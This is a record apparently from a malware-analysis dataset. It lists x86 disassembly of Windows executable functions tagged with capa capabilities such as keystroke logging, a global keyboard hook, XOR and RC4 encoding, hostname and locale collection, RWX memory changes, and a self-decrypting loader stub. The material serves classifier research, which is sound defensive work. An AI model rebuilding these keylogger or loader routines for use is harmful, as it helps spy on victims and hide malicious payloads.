joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c4a3c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4c4c9c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4c4a9f
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.004c4504
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040dfe4
cmp al, 1
jne 0x4c4a9f
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004c481c
test al, al
je 0x4c4c2b
cmp dword [ebp - 8], 0
jge 0x4c4abd
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.004c4504
mov eax, dword [ebp - 0x210]
call fcn.00404518
cmp ebx, eax
jge 0x4c4b07
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.004c4504
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x5096cc]
and eax, 0xff
bt dword [edx], eax
jae 0x4c4b07
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4c4b1b
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004c4a18
cmp ebx, dword [ebp - 8]
je 0x4c4c1d
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4c4b47
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403624
and eax, 0x7f
movzx eax, word [eax*2 + 0x5058e8]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x4c4c0a
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403624
and eax, 0x7f
movzx eax, word [eax*2 + 0x5058e8]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.0046cd18
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403624
and eax, 0x7f
movzx eax, word [eax*2 + 0x5058e8]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.0046cd18
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c4c11
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4c4c7e
cmp dword [ebp - 8], 0
jge 0x4c4c36
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.004c4504
mov eax, dword [ebp - 0x218]
call fcn.00404518
cmp eax, dword [ebp - 8]
jg 0x4c4c70
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.004c4504
mov eax, dword [ebp - 0x21c]
call fcn.00404518
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004c4a18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c4ca3
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.0040427c
ret
Function at 0x4d116c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x3c]
sub edi, dword [ebx + 0x74]
sub edi, dword [ebx + 0x6c]
jmp 0x4d1199
mov eax, dword [ebx + 0x2c]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x6c]
ja 0x4d1218
push esi
mov eax, dword [ebx + 0x38]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.004cf6a0
add esp, 0xc
sub dword [ebx + 0x70], esi
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x5c], ebp
mov eax, dword [ebx + 0x4c]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x44]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4d11e6
mov cx, word [esp]
sub cx, si
jmp 0x4d11e8
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4d11cf
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4d120e
mov cx, word [esp]
sub cx, si
jmp 0x4d1210
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4d11f7
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x4d1275
mov edx, dword [ebx + 0x38]
mov ecx, edi
add edx, dword [ebx + 0x6c]
mov eax, ebp
add edx, dword [ebx + 0x74]
call fcn.004d0e40
add dword [ebx + 0x74], eax
cmp dword [ebx + 0x74], 3
jb 0x4d1260
mov eax, dword [ebx + 0x38]
mov edx, dword [ebx + 0x6c]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x48], eax
mov ecx, dword [ebx + 0x58]
shl eax, cl
mov edx, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x6c]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x54]
mov dword [ebx + 0x48], eax
cmp dword [ebx + 0x74], 0x106
jae 0x4d1275
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4d1176
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4d6cfc
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov dword [ebp - 4], 0xff
mov ebx, 0x4d6d38
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x103]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4d6d2c
lea ebx, [ebp - 0x103]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4d6d5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4d6dec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404258
mov eax, dword [ebp - 4]
call fcn.00404518
test al, al
jbe 0x4d6dd6
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.00404440
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00404520
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x4d6d98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d6df3
lea eax, [ebp - 0xc]
call fcn.00404258
ret

Function at 0x4d6dfc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4d6ef3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x23456789
push 0x34567890
lea eax, [ebp - 8]
push eax
mov ecx, 0x12345678
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004d6d5c
lea eax, [ebp - 0xc]
call fcn.00404258
lea eax, [ebp - 0x10]
call fcn.00404258
mov eax, dword [ebp - 8]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4d6e93
mov ebx, 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + ebx - 1]
shl eax, 8
xor eax, 7
or eax, 5
call fcn.00409248
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00404520
inc ebx
dec esi
jne 0x4d6e6b
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00404518
mov ecx, 0xc
cdq
idiv ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
imul edx, ebx
mov ecx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404778
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.00404520
inc ebx
cmp ebx, 0xc
jne 0x4d6e95
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.004042ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d6efa
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.0040427c
ret
Function at 0x4d7edc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4d7f5f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.00402dfc
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x4d7f78
mov edx, ebx
call fcn.00404564
mov eax, dword [ebp - 0x24]
call fcn.00404718
mov dword [ebp - 0x16], eax
mov eax, 0x4d7f7c
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], 0x14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7f66
lea eax, [ebp - 0x24]
call fcn.00404258
ret

Function at 0x4dbf24
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x105]
call fcn.0040a048
mov esp, ebp
pop ebp
ret 4

Function at 0x4dc114
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4dc18c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004042ac
mov eax, dword [ebp - 4]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4dc176
mov ebx, 1
mov eax, edi
call fcn.00404770
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4dc159
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dc193
lea eax, [ebp - 4]
call fcn.00404258
ret

Function at 0x4e02c8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4e0340
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004042ac
mov eax, dword [ebp - 4]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4e032a
mov ebx, 1
mov eax, edi
call fcn.00404770
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4e030d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e0347
lea eax, [ebp - 4]
call fcn.00404258
ret
Function at 0x4e0350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4e03c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004042ac
mov eax, dword [ebp - 4]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4e03b2
mov ebx, 1
mov eax, edi
call fcn.00404770
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4e0395
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e03cf
lea eax, [ebp - 4]
call fcn.00404258
ret

Function at 0x4e2984
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov dword [ebp - 4], 0xff
mov ebx, 0x4e29c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x103]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4e29b4
lea ebx, [ebp - 0x103]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4e29e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4e2a74
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404258
mov eax, dword [ebp - 4]
call fcn.00404518
test al, al
jbe 0x4e2a5e
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.00404440
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00404520
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x4e2a20
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e2a7b
lea eax, [ebp - 0xc]
call fcn.00404258
ret
Function at 0x4e2a84
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4e2b7b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x23456789
push 0x34567890
lea eax, [ebp - 8]
push eax
mov ecx, 0x12345678
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004e29e4
lea eax, [ebp - 0xc]
call fcn.00404258
lea eax, [ebp - 0x10]
call fcn.00404258
mov eax, dword [ebp - 8]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4e2b1b
mov ebx, 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + ebx - 1]
shl eax, 8
xor eax, 7
or eax, 5
call fcn.00409248
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00404520
inc ebx
dec esi
jne 0x4e2af3
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00404518
mov ecx, 0xc
cdq
idiv ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
imul edx, ebx
mov ecx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404778
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.00404520
inc ebx
cmp ebx, 0xc
jne 0x4e2b1d
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.004042ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e2b82
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.0040427c
ret

Function at 0x4e3408
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov dword [ebp - 4], 0xff
mov ebx, 0x4e3444
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x103]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4e3438
lea ebx, [ebp - 0x103]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4e3468
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4e34f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404258
mov eax, dword [ebp - 4]
call fcn.00404518
test al, al
jbe 0x4e34e2
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + edx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
call fcn.00404440
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00404520
xor eax, eax
mov al, bl
mov edx, dword [edi]
movzx eax, byte [edx + eax - 1]
add esi, eax
imul esi, dword [ebp + 0x10]
add esi, dword [ebp + 0xc]
inc ebx
dec byte [ebp - 5]
jne 0x4e34a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e34ff
lea eax, [ebp - 0xc]
call fcn.00404258
ret
Function at 0x4e3508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4e35ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x23456789
push 0x34567890
lea eax, [ebp - 8]
push eax
mov ecx, 0x12345678
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004e3468
lea eax, [ebp - 0xc]
call fcn.00404258
lea eax, [ebp - 0x10]
call fcn.00404258
mov eax, dword [ebp - 8]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4e359f
mov ebx, 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + ebx - 1]
shl eax, 8
xor eax, 7
or eax, 5
call fcn.00409248
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00404520
inc ebx
dec esi
jne 0x4e3577
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00404518
mov ecx, 0xc
cdq
idiv ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
imul edx, ebx
mov ecx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404778
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.00404520
inc ebx
cmp ebx, 0xc
jne 0x4e35a1
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.004042ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3606
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.0040427c
ret

Function at 0x4e4270
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.00407748
ret

Function at 0x4e7bd4
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, ecx
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.0040a048
add esp, 0x108
pop ebx
ret

Function at 0x4e7bfc
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.0040a048
add esp, 0x108
pop ebx
ret

Function at 0x4ee81c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4ee894
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004042ac
mov eax, dword [ebp - 4]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4ee87e
mov ebx, 1
mov eax, edi
call fcn.00404770
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4ee861
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ee89b
lea eax, [ebp - 4]
call fcn.00404258
ret
Function at 0x4f1b84
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404708
xor eax, eax
push ebp
push 0x4f1bfc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004042ac
mov eax, dword [ebp - 4]
call fcn.00404518
mov esi, eax
test esi, esi
jle 0x4f1be6
mov ebx, 1
mov eax, edi
call fcn.00404770
movzx edx, word [ebp - 6]
shr edx, 8
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4f1bc9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f1c03
lea eax, [ebp - 4]
call fcn.00404258
ret

Function at 0x4fc834
Capabilities:
Set global application hook

Disassembly:
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
push 0x4fc7d4
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x50b1b4], eax
cmp dword [0x50b1b4], 0
jne 0x4fc85b
call fcn.0040ec24
ret

Function at 0x4fca7c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404964
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x4fcacb
push 0x200
lea edx, [ebp - 0x202]
push edx
push eax
call sub.user32.dll_GetKeyNameTextW
mov eax, ebx
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00404af8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4fcad0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push 2
movzx eax, bx
push eax
call sub.user32.dll_MapVirtualKeyW
mov edi, eax
mov eax, ebx
add eax, 0xffffffd0
sub ax, 0xa
jae 0x4fcb08
mov esi, ebx
sub si, 0x30
add si, 0x30
cmp si, di
je 0x4fcb08
push esi
call sub.user32.dll_VkKeyScanW
cmp al, bl
jne 0x4fcb08
mov edi, esi
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x4ff1d4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4ff238
push dword fs:[edx]
mov dword fs:[edx], esp
push 6
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004044c8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004094a4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ff23f
lea eax, [ebp - 0xc]
call fcn.00404258
ret
Function at 0x4ff26c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov esi, edx
lea edi, [esp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, dword [esp + 8]
test ebx, ebx
je 0x4ff2c8
push esp
push 0x40
push 6
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4ff297
call fcn.0040ec24
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
mov ecx, 6
call fcn.004029a4
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
push 6
mov eax, dword [esp + 0x14]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4ff2c8
call fcn.0040ec24
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040b1c2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040b1c2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040b1c2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040b1c2
mov dword [0x41203c], eax
call fcn.0040b1c2
test eax, eax
jge 0x402550
push 8
call fcn.0040b1c2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040b1c2
pop ecx
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040b1c2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040b1c2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040b1c2
jmp 0x402495

Function at 0x40b1c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40b1d1
pop dword [ebp - 0x44]
mov eax, 0xd3776cd9
sub eax, 0xd336bb08
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3a98f
push 0
mov eax, 0x138ae0
sub eax, 0xffd2aa08
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xcf47ccda
sub ecx, 0xcf477fbb
mov esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x44]
mov edx, 0x474e6835
sub edx, 0x2d686109
mov ebx, dword [edi]
xor dword [ebp - 0x34], ecx
xor ebx, edx
xor dword [ebp - 0x18], 0x3132935b
mov dword [esi], ebx
add dword [ebp - 0x28], 0xd586a1d7
add esi, 0x85d0e5b0
add esi, 0x7a2f1a54
add edi, 4
loop 0x40b22a
add eax, 0xb3de678c
sub eax, 0xb3dd403d
mov ebx, eax
add eax, 0xf0c0c464
add eax, 0xf3f3ba1
mov ecx, 0x12f954f4
add ecx, 0xed46ab0c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret